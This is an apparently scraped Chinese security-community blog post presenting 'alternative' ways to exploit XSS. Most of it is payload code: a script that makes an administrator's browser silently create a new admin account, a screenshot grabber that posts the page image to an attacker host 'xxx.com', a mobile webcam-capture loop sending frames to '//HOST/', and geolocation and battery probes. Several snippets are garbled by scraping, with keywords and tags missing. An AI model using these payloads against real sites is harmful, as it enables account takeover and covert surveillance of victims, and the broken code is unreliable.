zoukankan      html  css  js  c++  java
  • XSS漏洞的渗透利用另类玩法

    XSS漏洞的渗透利用另类玩法

    作者:色豹

    i春秋社区

    今天就来讲一下大家都熟悉的 xss漏洞的渗透利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。

    1. xss渗透添加管理员

    后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。

    无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。

    这里我们会用到 Java和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。

    var request = false;

    if(window.) {

    request = new.();

    if(request.overrideMimeType) {

    request.overrideMimeType('text/html');

    }

    } else if(Window.ActiveXObject) {

    var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};

    for(var i=0; i<versions.length; i ++){

    try{

    request = new ActiveXObject(versions);

    }catch(e){}

    }

    }

    xmlhttp = request;

    add_admin();

    function add_admin(){

    var url = "/admin/admin_add_user.php"; //添加用户请求地址

    var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据

    xmlhttp.open("POST",url,true);

    xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")

    xmlhttp.setRequstHeader("Content-length",params.length);

    xmlhttp.setRequstHeader("Connection","close")

    }

    2. xss截取客户的屏幕

    现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。

    这里需要用到一个js库html2canvas.js

    document.write("< src="html2canvas.js></>");

    window.=function(){

    html2canvas(document.body, {

    onrendered: function(canvas) {

    //下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post

    xhr=function(){

    var request = false;

    if(window.){

    request = new ();

    }else if (window.ActiveXObject){

    try{

    request = new window.ActiveXObject('Microsoft.XMLHTTP');

    }catch(e){

    }

    }

    return request;

    }();

    request = function(method,src,argv,content_type){

    xhr.open(method,src,false);

    if(method=='POST')xhr.setRequestHeader('Content-type',content_type);

    xhr.send(argv); //发送POST数据

    return xhr.responseText;

    };

    attack_a = function(){

    var src = "http://xxx.com/xss.php?"; //post接收地址

    var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot

    request("POST",src,argv_0,"application/x-www-form-urlencoded");

    };

    attack_a();

    }

    });

    }

    上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同

    <>

    d=document;

    v=d.('video');

    c=d.('canvas');

    c.width=640;

    c.height=480;

    navigator.webkitGetUserMedia({'video':true},function(s){

    v.src=URL.createObjectURL(s);v.play()},function(){});

    c2=c.getContext('2d');

    x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';

    setInterval(x,5000);

    </>

    这两种服务端获取到的post数据包是 格式的 ,我们只要进行转码即可看到对方的屏幕截图。

    3.xss对移动端的渗透

    现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。

    这里只针对手机端Firefox浏览器说明。

    xss获取对方经纬度代码

    <>

    navigator.geolocation.getCurrentPosition(function(p){

    alert('Latitude:'+p.coords.latitude+',Longitude:'+

    p.coords.longitude+',Altitude:'+p.coords.altitude);})

    </>

    xss获取电池状态的代码,这里需要用到Java Battery API

    <svg =alert(navigator.battery.level)>

    <svg =alert(navigator.battery.dischargingTime)>

    <svg =alert(navigator.battery.charging)>

    什么是白帽子?是把技术融入生活,变成故事,宣扬正义。邀请你来i春秋社区,呈现你的故事,讲述你的精彩,欢迎大家来“稿”!

    1.【探索新思路】

    记一次Github项目被fork后的删除经历

    【相信经常使用Github平台来托管程序代码的同学可能都会遇到自己项目被未授权fork走的情况,本人最近就遭遇了这样的情况。】

    https://bbs.ichunqiu.com/thread-25588-1-1.html

    2.【思路分享】

    记一次XSS防御绕过的过程 记一次XSS防御绕过的过程

    【一个闲的蛋疼的周末,总想搞点事情,于是在网上找到了个cms系统,得挖出点什么来,嘿嘿】

    https://bbs.ichunqiu.com/thread-25625-1-1.html

    3.【思路分享】

    攻破黑市最流行的钓鱼网站2

    【上次有人向我反映,我讲的过于快了,不适合菜鸟看,所以这次我写的相对来说比较详细~ 这对于有基础的人来说可能比较煎熬,哈哈】

    https://bbs.ichunqiu.com/thread-25640-1-1.html

    4.【思路分享】

    看我如何通过野路子撸下权6的BBS论坛

    【前两天发现一个BBS社区有解析漏洞,但是注册账号以后发现普通会员没有上传图片权限,只有头像处可以传,但抓不到路径就放弃了,今天想起来就继续研究了下。】

    https://bbs.ichunqiu.com/thread-25613-1-1.html

  • 相关阅读:
    c#Socket通讯
    LeetCode 836. 矩形重叠
    AOP之SpringAOP、AspectJ、CGlib
    Springboot启动流程,跟着源码看看启动的时候都做了什么
    Mybatis/Mybatis plus/Hibernate如何忽略指定的字段不与数据库映射
    LeetCode 206. 反转链表
    LeetCode 1071. 字符串的最大公因子
    LeetCode 994. 腐烂的橘子
    Java生鲜电商平台-监控模块的设计与架构
    Java生鲜电商平台-售后模块的设计与架构
  • 原文地址:https://www.cnblogs.com/timssd/p/7342940.html
Copyright © 2011-2022 走看看